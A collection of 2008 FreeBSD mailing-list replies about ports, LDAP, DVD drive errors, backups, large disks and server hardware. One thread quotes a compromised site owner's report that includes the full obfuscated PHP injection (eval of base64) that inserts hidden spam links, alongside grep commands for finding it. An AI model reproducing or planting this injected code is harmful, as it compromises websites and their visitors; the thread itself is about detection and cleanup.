  - Altough ports are fantastic, building things like OpenOffice or ... is
  just inhuman, especially when you cannot use -j for building ports (but
  it's being resolved I think).
 
 Of course you can use -j to build ports.
 
 Just cd to/your/port make -j8 install (clean)
 With portupgrade you use -m -j8
 

I'm not sure about this, as there is just a project in titled Allowing
for parallel builds in the FreeBSD Ports on
http://www.freebsd.org/projects/summerofcode-2008.html ... ?

Every time I tried to build a port with -j it failed ..

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Re: Centralized DB of system users

2008-12-12 Thread Julien Cigar
On Fri, 2008-12-12 at 13:26 +0100, Ivan Voras wrote:
 2008/12/12 Wojciech Puchar woj...@wojtek.tensor.gdynia.pl:
  I agree - NIS is easiest to setup, but LDAP is the right solution in
  this case (though it's very complicated to set up, especially the first
 
  why it is right solution?
 
 Interoperability. Today, with Linux, tomorrow, Windows or Mac OS X.
 Besides, it scales well and has a large number of supporting
 utilities.

Off-topic, but do you know any good tool other than gq/phpldapadmin to
manage/browse/... an LDAP server ? At the moment I've my own set of LDIF
files that I use with ldap[add|delete|modify], but it's not very
flexible ..
A ncurses tool would be perfect.

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Re: Centralized DB of system users

2008-12-12 Thread Julien Cigar
On Fri, 2008-12-12 at 14:12 +0100, Wojciech Puchar wrote:
  this case (though it's very complicated to set up, especially the first
 
  why it is right solution?
 
  Interoperability. Today, with Linux, tomorrow, Windows or Mac OS X.
 
 so not right but interoperable. if i do have only unix systems in LAN, 
 NIS is much better easier and faster.
 
 for windows-only LAN with unix server, simply using samba is OK.
 

Here all the machines use OpenLDAP with pam_ldap and nss_ldap with /home
mounted on the file server, so that an user can login on every machine
and find back his /home. We've also a domain controller which uses Samba
and the same LDAP database. So you create the account once and the users
can automatically login on the unix and windows machines. It works
pretty well. I don't know NIS so much, but I think that LDAP has two
advantages : the protocol, and it's use of (extensible) schemes.

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Re: Why FreeBSD not popular on hardware vendors

2008-12-11 Thread Julien Cigar
On Thu, 2008-12-11 at 15:56 +0100, Wojciech Puchar wrote:
  - on almost all my machines I have problems with CD/DVD drives, mostly
  things like READ_BIG timeout, etc. I tried almost everything (disabling
  ACPI, DMA, upgrading the drive BIOS, etc), disabling DMA resolved some
  problems, but it's still impossible to burn a DVD for example.
 
 i don't have. i use only atapicam+cd driver, no acd.

Of course I tried atapicam too (I even removed acd totally from the
kernel), but it doesn't resolve the problem(s)

 
  - my mouse (a Logitec MX 300, USB) is still undetected at boot. Every
  time I have to unplug/plug it after boot. Not a big deal I admit, but
  boring.
  - USB mass storage plug/unplug sometimes causes system panic. I know
 
 never got such thing, except when i forgot to unmount
 

except when i forgot to unmount - yep, the problem lies here, it's so
natural to just unplug an USB device

  that this is a well known bug that require some rearchitecting and that
  a proper umount has always been the way to umount a drive, but,
  honestly, you cannot seriously convince someone to use FreeBSD with
  things like this ...
  - Altough ports are fantastic, building things like OpenOffice or ... is
  just inhuman, especially when you cannot use -j for building ports (but
  it's being resolved I think). Of course there are packages, but it's far
  less friendly to use (and manage) than apt-get/dpkg.
 
 you may pkg_add from ftp repository

of course .. too bad that there is no pkg_upgrade

-- 
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Belgian Biodiversity Platform
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Université Libre de Bruxelles (ULB)
Campus de la Plaine CP 257
Bâtiment NO, Bureau 4 N4 115C (Niveau 4)
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B-1050 Bruxelles
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Re: Why FreeBSD not popular on hardware vendors

2008-12-11 Thread Julien Cigar
On Thu, 2008-12-11 at 17:10 +0100, Wojciech Puchar wrote:
 
  except when i forgot to unmount - yep, the problem lies here, it's so
  natural to just unplug an USB device
 
 it's so natural to unmount device before removing. at least in unix...
 

true too .. :)

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Re: Performance benchmarks pitting FreeBSD against Windows

2008-12-05 Thread Julien Cigar
What I find mist glaring when one moves from a Linux / FreeBSD system to
a Windows system it's the virtual memory management, with the same
amount of RAM Windows swaps a *lot* more.

Regarding the usability, it's clear that they target different people,
as Windows if mainly used by non-IT people ..

On Fri, 2008-12-05 at 10:24 +0100, Wojciech Puchar wrote:
  I'm just curious to see how it looks for my own sanity's sake. At work,
 
 yes windows is much faster and much easier to use. it was told so many 
 times on adverts and you still not understand that?!
 
 there are just strange people there that want to still use unix.
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Re: Mass find/replace...

2008-12-04 Thread Julien Cigar
the following should work : 
$ find /home/horbury -type f -print0 | xargs -0 grep 'base64_decode'
 or :
$ find /home/horbury -type f -exec grep 'base64_decode' {} \;

On Thu, 2008-12-04 at 12:14 +, Marc Coyles wrote:
 Never had to do this so not sure where to start. Have googled and found
 some solutions but they don't particularly work (see below)...
 
 Someone has managed to inject php code into a PILE of php pages on my
 webserver...
 
 ?
 /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNz
 ZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhp
 c3RzKCcvaG9tZS9ob3JidXJ5L3B1YmxpY19odG1sL3N0cmljdC9tb2R1bGVzL2Zja2VkaXRv
 ci9mY2tlZGl0b3IvZWRpdG9yL2ZpbGVtYW5hZ2VyL2Jyb3dzZXIvZGVmYXVsdC9pbWFnZXMv
 aWNvbnMvMzIvbWRsX3V0Zi5waHAnKSl7aW5jbHVkZV9vbmNlKCcvaG9tZS9ob3JidXJ5L3B1
 YmxpY19odG1sL3N0cmljdC9tb2R1bGVzL2Zja2VkaXRvci9mY2tlZGl0b3IvZWRpdG9yL2Zp
 bGVtYW5hZ2VyL2Jyb3dzZXIvZGVmYXVsdC9pbWFnZXMvaWNvbnMvMzIvbWRsX3V0Zi5waHAn
 KTtpZihmdW5jdGlvbl9leGlzdHMoJ2dtbCcpJiYhZnVuY3Rpb25fZXhpc3RzKCdkZ29iaCcp
 KXtpZighZnVuY3Rpb25fZXhpc3RzKCdnemRlY29kZScpKXtmdW5jdGlvbiBnemRlY29kZSgk
 UjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4KXskUjZCNkU5OENERThCMzMwODdB
 MzNFNEQzQTQ5N0JEODZCPW9yZChzdWJzdHIoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYw
 NjczMjg2OCwzLDEpKTskUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxPTEwOyRS
 MEQ1NDIzNkRBMjA1OTRFQzEzRkM4MUIyMDk3MzM5MzE9MDtpZigkUjZCNkU5OENERThCMzMw
 ODdBMzNFNEQzQTQ5N0JEODZCJjQpeyRSMEQ1NDIzNkRBMjA1OTRFQzEzRkM4MUIyMDk3MzM5
 MzE9dW5wYWNrKCd2JyxzdWJzdHIoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2
 OCwxMCwyKSk7JFIwRDU0MjM2REEyMDU5NEVDMTNGQzgxQjIwOTczMzkzMT0kUjBENTQyMzZE
 QTIwNTk0RUMxM0ZDODFCMjA5NzMzOTMxWzFdOyRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4
 ODQ2MzVFNDErPTIrJFIwRDU0MjM2REEyMDU5NEVDMTNGQzgxQjIwOTczMzkzMTt9aWYoJFI2
 QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2QiY4KXskUjYwMTY5Q0QxQzQ3QjdBN0E4
 NUFCNDRGODg0NjM1RTQxPXN0cnBvcygkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMy
 ODY4LGNocigwKSwkUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKSsxO31pZigk
 UjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCJjE2KXskUjYwMTY5Q0QxQzQ3QjdB
 N0E4NUFCNDRGODg0NjM1RTQxPXN0cnBvcygkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2
 NzMyODY4LGNocigwKSwkUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKSsxO31p
 ZigkUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCJjIpeyRSNjAxNjlDRDFDNDdC
 N0E3QTg1QUI0NEY4ODQ2MzVFNDErPTI7fSRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFF
 MzlGNTM9Z3ppbmZsYXRlKHN1YnN0cigkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMy
 ODY4LCRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDEpKTtpZigkUkM0QTVCNUUz
 MTBFRDRDMzIzRTA0RDcyQUZBRTM5RjUzPT09RkFMU0UpeyRSQzRBNUI1RTMxMEVENEMzMjNF
 MDRENzJBRkFFMzlGNTM9JFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2ODt9cmV0
 dXJuICRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFFMzlGNTM7fX1mdW5jdGlvbiBkZ29i
 aCgkUkRBM0U2MTQxNEU1MEFFRTk2ODEzMkYwM0QyNjVFMENGKXtIZWFkZXIoJ0NvbnRlbnQt
 RW5jb2Rpbmc6IG5vbmUnKTskUjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRTkwPWd6
 ZGVjb2RlKCRSREEzRTYxNDE0RTUwQUVFOTY4MTMyRjAzRDI2NUUwQ0YpO2lmKHByZWdfbWF0
 Y2goJy9cPGJvZHkvc2knLCRSM0UzM0UwMTdDRDc2QjlCN0U2QzczNjRGQjkxRTJFOTApKXty
 ZXR1cm4gcHJlZ19yZXBsYWNlKCcvKFw8Ym9keVteXD5dKlw+KS9zaScsJyQxJy5nbWwoKSwk
 UjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRTkwKTt9ZWxzZXtyZXR1cm4gZ21sKCku
 JFIzRTMzRTAxN0NENzZCOUI3RTZDNzM2NEZCOTFFMkU5MDt9fW9iX3N0YXJ0KCdkZ29iaCcp
 O319fQ==')); ?
 
 This basically brings up a pile of spam links.
 
 I need to do a find / replace throughout the entire of the
 /home/horbury/public_html directory...
 I've tried 'find /home/Horbury/ -type f | xargs grep -l base64_decode'
 to get a list of the files that require the operation performing, but it
 comes up with an error (xargs: unterminated quote) after a few
 results...
 
 Any tips? Basically to find the above and remove it... otherwise I'll
 have to resort to doing it in Dreamweaver and reuploading, which is a
 major pita, or restoring from a backup (after working out when exactly
 this happened and how - I'm guessing thru a teacher's out of date
 wordpress install somewhere).
 
 Marc A Coyles - Horbury School ICT Support Team
 Mbl: 07850 518106
 Land: 01924 282740 ext 730
 Helpdesk: 01924 282740 ext 2000
  
 
 
 
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Re: mod_auth_ldap

2008-11-19 Thread Julien Cigar
also :
http://httpd.apache.org/docs/2.2/mod/mod_ldap.html

On Wed, 2008-11-19 at 11:06 +0100, Peter Boosten wrote:
 Mel wrote:
  On Wednesday 19 November 2008 06:32:26 Peter Boosten wrote:
  Hi all,
 
  Anyone try to compile this one?
  It stops with a
  www/mod_auth_ldap (missing header)
 
  The header it cannot find is:
  mod_auth_ldap.c:61:24: error: apr_compat.h: No such file or directory
 
  
  The module is outdated. apr_compat.h was deprecated in Apache 2.0 and 
  removed 
  in Apache 2.2. Port has to be market BROKEN if APACHE_PORT == www/apache22 
  and fixed upstream.
  
 
 Mel,
 
 Thnx, that explains all. Do you know of any alternative for ldap
 authentication in apache22?
 
 Peter
 
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Belgian Biodiversity Platform
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Université Libre de Bruxelles (ULB)
Campus de la Plaine CP 257
Bâtiment NO, Bureau 4 N4 115C (Niveau 4)
Boulevard du Triomphe, entrée ULB 2
B-1050 Bruxelles
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Re: mod_auth_ldap

2008-11-19 Thread Julien Cigar
http://httpd.apache.org/docs/2.2/mod/mod_authnz_ldap.html

On Wed, 2008-11-19 at 11:06 +0100, Peter Boosten wrote:
 Mel wrote:
  On Wednesday 19 November 2008 06:32:26 Peter Boosten wrote:
  Hi all,
 
  Anyone try to compile this one?
  It stops with a
  www/mod_auth_ldap (missing header)
 
  The header it cannot find is:
  mod_auth_ldap.c:61:24: error: apr_compat.h: No such file or directory
 
  
  The module is outdated. apr_compat.h was deprecated in Apache 2.0 and 
  removed 
  in Apache 2.2. Port has to be market BROKEN if APACHE_PORT == www/apache22 
  and fixed upstream.
  
 
 Mel,
 
 Thnx, that explains all. Do you know of any alternative for ldap
 authentication in apache22?
 
 Peter
 
-- 
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Belgian Biodiversity Platform
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Université Libre de Bruxelles (ULB)
Campus de la Plaine CP 257
Bâtiment NO, Bureau 4 N4 115C (Niveau 4)
Boulevard du Triomphe, entrée ULB 2
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Re: 7.1-BETA2 installation on ASUS P4S8X fails BIG MEDIUM ERROR

2008-11-04 Thread Julien Cigar
I've this problem too on almost all my machines. The only solution I've
found is to disable DMA (atapi_dma), but then performances are very poor
(and I'm still unable to burn a CD/DVD)

On Tue, 2008-11-04 at 16:03 +0100, Christoph Kukulies wrote:
 Hi,
 
 don't know whether it's the CDROM drive (a Creative 52x mx) or the 
 motherboard (ASUS P4S8X) or what.
 Anyway, I tried to install a recent version of FreeBSD (7.1-BETA2) and 
 the installation
 hangs right in the boot process of the installation CD disc1.
 
 I see
 
 acd0: FAILURE - READ BIG MEDIUM ERROR asc=0x11 ascq=0x00
 run_interrupt_driven_hooks: still waiting after 60 seconds for xpt_config
 run_interrupt_driven_hooks: still waiting after 120 seconds for xpt_config
 run_interrupt_driven_hooks: still waiting after 180 seconds for xpt_config
 
 and so on.
 
 Any clues?
 
 --
 Christoph Kukulies
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HP Proliant DL360 G5

2008-10-29 Thread Julien Cigar
Dear FreeBSD users,

Our hardware begins to age and we plan to buy two new machines at HP.
Our choice focused on the HP Proliant DL360 G5. As HP doesn't officially
support FreeBSD, I checked with the 7.0-RELEASE Hardware Notes and
everything seems to be supported, except the network interface which is
an HP NC373i. From what I can see, only NC370i and NC370T are supported.

Can someone confirm that this chip is not supported (and that the rest
is OK) ? If you have other comments about our choice they are welcome
too ...

Thanks,
Julien




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Belgian Biodiversity Platform
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Re: HP Proliant DL360 G5

2008-10-29 Thread Julien Cigar
The one we plan to buy is this one (457922-421) :
http://h10010.www1.hp.com/wwpc/be/fr/sm/WF06b/15351-15351-3328412-241475-241475-1121486-3633805.html

It seems to be the same network chipset as in yours ..
(https://h10057.www1.hp.com/ecomcat/hpcatalog/specs/provisioner/05/470064-731.htm)

So I can consider that it's supported .. good! :-)

Thanks for your answers

On Wed, 2008-10-29 at 14:05 +0100, Olivier Mueller wrote:
 Hello,
 
 On Wed, 2008-10-29 at 13:27 +0100, Julien Cigar wrote:
  Our hardware begins to age and we plan to buy two new machines at HP.
  Our choice focused on the HP Proliant DL360 G5. As HP doesn't officially
  support FreeBSD, I checked with the 7.0-RELEASE Hardware Notes and
  everything seems to be supported, except the network interface which is
  an HP NC373i. From what I can see, only NC370i and NC370T are supported.
  Can someone confirm that this chip is not supported
 
 I have just got two new DL360G5 with xeon E5420 cpus  (HP Ref Number:
 470064-731), and the on-board network cards are seen from FreeBSD7 as:
 
 bce0: Broadcom NetXtreme II BCM5708 1000Base-T (B2) mem
 0xf800-0xf9ff irq 18 at device 0.0 on pci3
 miibus0: MII bus on bce0
 brgphy0: BCM5708C 10/100/1000baseTX PHY PHY 1 on miibus0
 brgphy0:  10baseT, 10baseT-FDX, 100baseTX, 100baseTX-FDX, 1000baseT,
 1000baseT-FDX, auto
 bce0: Ethernet address: 00:21:5a:a6:8f:f0
 bce0: [ITHREAD]
 bce0: ASIC (0x57081020); Rev (B2); Bus (PCI-X, 64-bit, 133MHz); F/W
 (0x01090605); Flags( MFW MSI )
 
 So there are good chances it's the same on your setup?   But maybe it's
 a new model of mainboard... 
 
 regards  HTH,
 Olivier
 
 
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Université Libre de Bruxelles (ULB)
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Re: continuous backup solution for freebsd?

2008-10-06 Thread Julien Cigar
Bacula ? http://www.bacula.org
I use it at work to backup linux and freebsd boxes and it works like a
charm.

On Mon, 2008-10-06 at 04:20 -0700, Jeremy Chadwick wrote:
 On Mon, Oct 06, 2008 at 12:58:30PM +0300, Evren Yurtesen wrote:
  Hello,
 
  Is there a known continuous backup solution similar to r1soft backup for  
  FreeBSD? I googled a lot but couldnt find anything.
 
  R1soft says they need help to develop FreeBSD support in their product. 
  Do you know anybody who can help r1soft on this issue?
 
  Please see: http://forum.r1soft.com/showpost.php?p=3414postcount=9
 
 Would the GEOM gate class handle this?  See ggatec(8) and ggated(8).
 

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Re: continuous backup solution for freebsd?

2008-10-06 Thread Julien Cigar
Sorry for once more but: you can make incremental backups every x
minutes with Bacula too .. it only takes one or two minutes on my box to
scan for changed files for ~150GB (even faster if you tweak it a bit).
It's not really a true continuous backup solution, but it's perfectly
possible to restore directories/files for changes which occurred x
minutes ago, and with retention periods of x days/months/years.

On Mon, 2008-10-06 at 19:38 +0200, Roland Smith wrote:
 On Mon, Oct 06, 2008 at 12:58:30PM +0300, Evren Yurtesen wrote:
  Hello,
  
  Is there a known continuous backup solution similar to r1soft backup for 
  FreeBSD? I googled a lot but couldnt find anything.
 
 I don't think so. The closest thing I know of is rsnapshot
 (http://www.rsnapshot.org/). 
 
 My solution is to run rsync in a cron job. In my situation this takes
 about 5 minutes for approximately 100GB of data. The time it takes will
 obviously depend on the rate of change in the data.
 
 You could also use local snapshots with mksnap_ffs(8), to solve the oh
 shit I deleted my files situation.
 
 Roland

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Re: How to compare 2 images from command line

2008-09-02 Thread Julien Cigar
/sbin/md5 image1.ext image2.ext ?

On Tue, 2008-09-02 at 11:02 -0400, FreeBSD wrote:
 Hi everyone,
 
 I'm trying to determine if 2 jpeg images are identical. The images are 
 screenshots taken with scrot at different times. The point is to know if 
 the display is working correctly. I tried to use 'diff' but without 
 success, probably because of the metadata included in the image. I also 
 tried the 'compare' command from imagemagick, but it produce an image 
 containing the difference between the 2 images instead of telling me if 
 both images are identical.
 
 So, my question is what are you using to determine if 2 images are 
 identical?
 
 I'm using FreeBSD 7.0 and I need to be able to script this comparaison 
 for an integration in Nagios.
 
 Thank you,
 
 Martin
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Re: FW: Multi ISP Load Balancing...

2008-08-29 Thread Julien Cigar
Add a route and set the same metric to both interfaces .. ?

On Fri, 2008-08-29 at 08:38 +0200, Marcel Grandemange wrote:
 
 I know this has probably been asked a thousand times but can someone give me
 an example with ipfw to do loadbalancing between two ISP's.
 
  
 
 
 
 We have two DSL links and realize that we wont get combined bandwidth.
 
  
 
 All I want is for BSD to choose the different ISP's based on a probability.
 
  
 
 
 
 One link is 512k Other 1Mb.
 
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Re: Cloning a gmirrored hard drive

2008-08-25 Thread Julien Cigar
Stupid question: can't you use growfs on the existing gmirror (after
replace /dev/oneofdisk, resync, replace /dev/otherdisk, resync) ?
Is it mandatory to create a *new* gmirror ?

Thanks

On Mon, 2008-08-25 at 14:37 +0200, Wojciech Puchar wrote:
  Hi!
 
  My situation: I have a server with FBSD 7 installed with two 40 GB disks
  in RAID 1 (gmirror) config.
  Now I have noticed the lack of space on the drive so I am thinking to
  change these disks for two 160 GB.
  What is the best way to clone the main hard disk in raid 1 config? Is
 
 gmirror remove yourmirrorname /dev/oneofdisk
 
 shutdown and replace this one with 160GB
 
 boot single user
 
 make gmirror with this new 160GB drive (only one drive now so not real 
 mirror)
 
 newfs and copy all data make it bootable, shutdown, remove second 40GB 
 drive, add second 160GB drive, boot and then
 
 gmirror insert yournewmirror seconddrive
 
 that's all.
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Re: Disk errors on installing FreeBSD 7.0

2008-08-08 Thread Julien Cigar
Same problems for me with atapi CD/DVD drives (READ_BIG timeouts,
etc) .. it works a bit better when dma is turned off, but then
performances are very poor.

On Thu, 2008-08-07 at 14:17 -1000, Al Plant wrote:
 N.J. Thomas wrote:
  * Snorre D. ?verb? [EMAIL PROTECTED] [2008-08-07 15:29:11+]:
  When I boot up with the installation DVD these error messages appear
  on the screen.
 
  ad1: FAILURE - READ_DMA status=51READY,DSC,ERROR error=84ICRC,ABORTED 
  LBA=0055347
  ad0: FAILURE - READ_DMA status=51READY,DSC,ERROR error=84ICRC,ABORTED 
  LBA=0
  etc
  
  I got the same exact errors trying to install 7.0-RELEASE on two
  different Dell boxes. One was 4 years old, the other was brand new (3
  months ago).
  
  Never was able to fix the problem. For the older one, I plugged in an
  external DVD drive and installed via that. For the other one, I
  installed via a mini-install disk, and then did a minimal network
  install.
  
  For the record, they both had SATA drives and the disks worked (and
  still work) fine after the OS was installed. It was just copying the
  base system off the CD that was causing errors.
  
  Thomas
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   Aloha,
 
 I am getting the same errors as you guys with an intermittient BIG_read 
 one occasionally. I've tried to install FreeeBSD CURRENT 8 and 7 release.
 
 This is on a no name box with a bio board and 1100 cpu. I've had this on 
 other boxes too and load IDE drives on a box that works with them and 
 then put them in the box with errors and they work just fine.
 
 Every thing gets recognized normally at  install time, but the size of 
 the IDE drive a Fujutsu 20 gig. shows twice what it should be every time.
 
 Dont know if this has anything to do with it, except if you change the 
 size in installer it wont load anything.
 
 Maybe one of the top level gurus on the list can help.
 
 
 
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Re: FreeBSD for webserver?

2008-07-23 Thread Julien Cigar
At least ports-mgmt/portaudit, which check if installed ports have
published security vulnerabilities.

I don't use PHP, but I used to create a separate user for each webapp
with a special login class, so I would run PHP in FCGI mode (with
something like xcache) instead of mod_php.

For the rest ... it's usually a question of configuration.

On Wed, 2008-07-23 at 11:06 +0200, VeeJay wrote:
 Really good contribution
 
 I would of course go with ports but have a question in mind
 
 What should be installation sequience?
 
 1. Apache 2.2.9
 2. MySQL 5.1.26
 3. PHP 5.2.6
 And are there any options you guys would like to suggest to avoide for
 performance or security reasons?
 
 Regards
 
 VJ
 On Tue, Jul 22, 2008 at 10:05 PM, VeeJay [EMAIL PROTECTED] wrote:
 
   Hi there
 
  I am going to make 2 Webserver at my work going to handle 50 mil hits per
  month... They are using Linux already. But being a FreeBSD fan, I have
  proposed FreeBSD to my Boss convincing him that FreeBSD is more Fast and
  Secure solution for his needs... And now I want to show the results...
  *Hardware:*
  Dell PowerEdge 2950 III having 2 x CPU 3,0 GHz Intel Xeon L5450 Quad-Core
  2x6MB cache WITH 16 GB RAM.
 
  *Tools:*
  1. FreeBSD 7 Production Release
  2. Apache 2.2.9
  3. MySQL 5.1.26
  4. PHP 5.2.6
 
  My question is, *To get the speed, performance and security*:
 
  Should I use Ports or Packages to install all these tools One by One?
 
  *OR*
  Should I use TAR files and compile them manually. For example giving
  command line arguments and commands like
 
  ./configure --prefix=/www --enable-module=so
  make
  make install
  cd ../php-xxx
  ./configure --with-mysql --with-apxs=/www/bin/apxs
  make
  make install
 
  etc
 
  I have googled but still haven't reached to solution...personally I would
  prefer comiling them with command line arguments
  but then I seek some help from you guys i.e.
 
  How should I write this ./configure..stuff in FreeBSD and what would be
  the best options combination, I must choose to get the speed, performane and
  security in Apache, MySQL and PHP?
 
  Any suggestion is very welcomed!
 
  --
  Thanks!
 
  BR / vj
 
 
 
 
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Re: Linux for freebsd admins

2008-07-11 Thread Julien Cigar
Debian (not Ubuntu ..)

On Fri, 2008-07-11 at 07:29 -0400, Ian Lord wrote:
 Hi,
 
  
 
 I am not trying to start a war linux vs freebsd or a long thread on which
 distribution is best. Just trying to get a quick answer here.
 
  
 
 I am an inconditional to freebsd and I love it. Unfortunately I have an
 application that doesn't support freebsd and only run on linux. I tried to
 run it for a week under freebsd and it doesn't work.
 
  
 
 I have to install a linux machine and don't know which distribution to take.
 
  
 
 I tried debian ubuntu and fedora and didn't like them.
 
  
 
 I want:
 
 - A basic install (not 900 packages installed by default
 
 - No gui, I like my flashing cursor
 
 - an equivalent of ports. I want to easily compile my ports I don't like
 prebuilt package. Want to retrieve them by cvs.
 
 - an equivalent to portupgrade.
 
  
 
 I gotta admit mabe the three I tried was able to do that, but I'm so
 negative about linux thay maybe I didn't see the good point of it.
 
  
 
 Could you tell me which distribution you are using when you have no choice
 and need to go to linux ?
 
  
 
 Thanks
 
  
 
 
 
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small question about GEOM and dedicated disk

2008-06-27 Thread Julien Cigar
Hello list,

I just bought a new disk to make my backups (with Bacula). As this disk
will be used by FreeBSD only I'd like to use the dedicated mode (no
bootable). 

So far I used to do something like:
# dd if=/dev/zero of=/dev/ad1 bs=1k count=1
# newfs -L foo -U /dev/ad1
# mount /dev/ufs/foo /foo

It seems to work like a charm.

However, in the handbook (section 18.3.2.2) the procedure is a bit
longer :
# dd if=/dev/zero of=/dev/da1 bs=1k count=1
# bsdlabel -Bw da1 auto
# bsdlabel -e da1
# newfs /dev/da1e
# mkdir -p /1
# vi /etc/fstab
# mount /1

Some questions:
- 
- Is it mandatory to create at least one partition (e in this case) ?
- Is it normal that there are no slices in this example ? Is it common
to create a partition without any slice in the dedicated mode ?
- What are the differences between my method and the one in the
handbook ?

in advance thanks,
Julien

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Re: DVD Writer problems

2008-06-04 Thread Julien Cigar
I have also this problem on almost all my machines .. the only solution
I found is to disable DMA (atapi_dma), but then performances are very
poor ..
If you find a solution please let us know :)

On Wed, 2008-06-04 at 19:13 +1000, Jerahmy Pocott wrote:
 Hello,
 
 I'v been having problems getting this DVD drive working at all, I'm  
 running on 6.3 p1..
 
 On boot it is detected as:
 acd0: DMA limited to UDMA33, controller found non-ATA66 cable
 acd0: DVDR ATAPI DVD A DH20A4P/9P57 at ata0-master UDMA33
 
 Which is the first sign of trouble, it is connected by an ATA66  
 capable cable and I'v tried swapping over the cable to rule out a  
 faulty cable and the message is the same.
 
 It is connected to:
 atapci0: Intel ICH6 UDMA100 controller port  
 0x1f0-0x1f7,0x3f6,0x170-0x177,0x376,0xffa0-0xffaf irq 16 at device  
 31.1 on pci0
 ata0: ATA channel 0 on atapci0
 ata1: ATA channel 1 on atapci0
 
 
 When trying to use burncd on it, the drives light flashes for a while  
 then after a delay I get:
 acd0: FAILURE - READ_TRACK_INFO ILLEGAL REQUEST asc=0x24 ascq=0x00
 
 On the console and any further attempt to use the drive results in  
 that message being repeated without any delay, also trying to use the  
 atapiscsi device results in a similar message:
 acd0: FAILURE - INQUIRY ILLEGAL REQUEST asc=0x24 ascq=0x00
 
 
 Any thoughts on what problem here is? It seems that the controller  
 isn't working properly with it?
 
 Cheers,
 J.
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Re: Reverse proxy recommendation

2008-05-31 Thread Julien Cigar
I use Apache (2.2) with mod_proxy / mod_proxy_balancer ... works like a
charm!

On Sat, 2008-05-31 at 10:26 -0400, Thomas Mullins wrote:
 Hello,
 
 We have three internal web servers that we make accessible to the
 internet.  Right now we simply use pf and port redirection.  Works
 great.  
 
 But, we would like to tighten up security.  I know you can do this with
 squid, apache and a few others.  Could someone please make a
 recommendation on what solutions they have used or seen in the past?  
 
 Thanks
 Shane
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Re: Large filesystems help/ideas

2008-05-21 Thread Julien Cigar
You cannot use fdisk slices/partitions with disks over 2TB. For those
GPT should be used. More info is available from here :
http://www.freebsd.org/projects/bigdisk

On Wed, 2008-05-21 at 13:57 +0200, Matias Surdi wrote:
 Hi,
 I'm implementing a backup solution at work.We've bought a x86 server 
 with two hardware raid 5 with for a total storage capacity of about 7Tb.
 
 For the software we are using for backups, the ideal scenario would be 
 to have just one big disk so that no space problems would appear.
 
 I've tried to install FreeBSD 7 with no success, as it seems... the 
 sysinstall tool doesn't support such big slices.
 
 I've read about the Large Data Storage on FreeBSD but I'm still confused.
 
 I've also thought on using slices of 1Tb, and join all them using vinum. 
 What do you think about this last option?
 
 Thanks a lot for your help.
 
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Re: Large filesystems help/ideas

2008-05-21 Thread Julien Cigar
If you only have FreeBSD installed on the box or if you don't need
slices/partitions you can just do newfs /dev/xxx (dedicate).

vinum should not be used on 6.x and above, gvinum (GEOM + vinum)
replaced it but I'm not sure if it's still actively
supported/developped .. (?)

Also, take a look at gconcat and unionfs.

On Wed, 2008-05-21 at 15:24 +0200, Matias Surdi wrote:
 As far as I understand from the following sentence taken from the link 
 you are pointing and the text following it:
 
 ...Many systems don't require an MBR or GPT, and even PCs don't require 
 it if booting and inter-operating with other OS's is not required. The 
 next limit that comes in, though, is with the BSD disklabel...
 
 I understand that I could have up to 8 slices of 2 Tb, with partitions 
 (disklabel ones) inside each slice with up to 2Tb.
 
 Is that correct?
 
 What do you think about using this scheme and then join all them with 
 vinum on a software raid-0 array?
 
 Thanks a lot for your time and help.
 
 
 
 
 Julien Cigar escribió:
  You cannot use fdisk slices/partitions with disks over 2TB. For those
  GPT should be used. More info is available from here :
  http://www.freebsd.org/projects/bigdisk
  
  On Wed, 2008-05-21 at 13:57 +0200, Matias Surdi wrote:
  Hi,
  I'm implementing a backup solution at work.We've bought a x86 server 
  with two hardware raid 5 with for a total storage capacity of about 7Tb.
 
  For the software we are using for backups, the ideal scenario would be 
  to have just one big disk so that no space problems would appear.
 
  I've tried to install FreeBSD 7 with no success, as it seems... the 
  sysinstall tool doesn't support such big slices.
 
  I've read about the Large Data Storage on FreeBSD but I'm still confused.
 
  I've also thought on using slices of 1Tb, and join all them using vinum. 
  What do you think about this last option?
 
  Thanks a lot for your help.
 
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Re: major CD errors when installing 7.0 (only 7.0)!

2008-05-14 Thread Julien Cigar
I have this problem too ... the only solution I've found is to disable
DMA (hw.ata.atapi_dma). It partially resolve the problem, but it's still
impossible to burn and performance are very poor (~ 2MB/s), etc ...

On Tue, 2008-05-13 at 22:30 -0400, Joachim Rosenfeld wrote:
 I decided to upgrade my PC at home to FreeBSD 7.0, I've been running
 it at work and on my work laptop with no problems.
 
 But when I installed via the 7.0 disk 1, I received CD errors when I
 got to the point where it started copying the base distribution off
 the disk.
 
 When I booted off the same CD again, I saw something similar to the following:
 
 acd0: FAILURE - READ_BIG ILLEGAL REQUEST asc=... ascq=...
 
 At first I assumed that it was my CD ROM drive (which has never given
 any problems) or a bad  CD, so I burned a FreeBSD 7.0 LiveDisk and
 tried that, same thing. I burned 7.0-bootonly from a different
 machine, and I got the same problem.
 
 
 The odd thing is that my 6.1 and 6.3 bootdisks don't have this error
